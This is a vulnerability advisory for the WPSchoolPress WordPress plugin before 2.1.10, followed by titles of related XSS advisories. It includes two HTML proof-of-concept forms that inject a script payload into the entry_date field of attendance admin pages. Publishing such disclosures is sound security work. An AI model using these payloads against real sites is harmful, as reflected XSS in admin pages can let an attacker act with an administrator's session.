WPSchoolPress < 2.1.10 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not escape user input before outputting back in some pages, leading to Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=sch-teacherattendance" method="POST">
      <input type="hidden" name="entry_date" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=sch-attendance" method="POST">
      <input type="hidden" name="entry_date" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 2.1.10

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

053be891-8871-44b5-b335-9c978f72c391

Timeline

Publicly Published

2021-10-11 (about 4 years ago)

Added

2021-10-11 (about 4 years ago)

Last Updated

2021-10-11 (about 4 years ago)

Other

Published

Title

Published

2024-01-02

Title

3D Flipbook < 1.15.3 - Contributor+ Stored XSS

Published

2025-06-05

Title

The Holiday Calendar <= 1.18.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-10-28

Title

affiliate-toolkit < 3.6.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via atkp_product Shortcode

Published

2014-08-01

Title

Manage Calameo Publications 1.1.0 - thickbox_content.php attachment_id Parameter Reflected XSS

Published

2024-12-30

Title

Magazine Blocks < 1.3.21 - Authenticated (Contributor+) Stored Cross-Site Scripting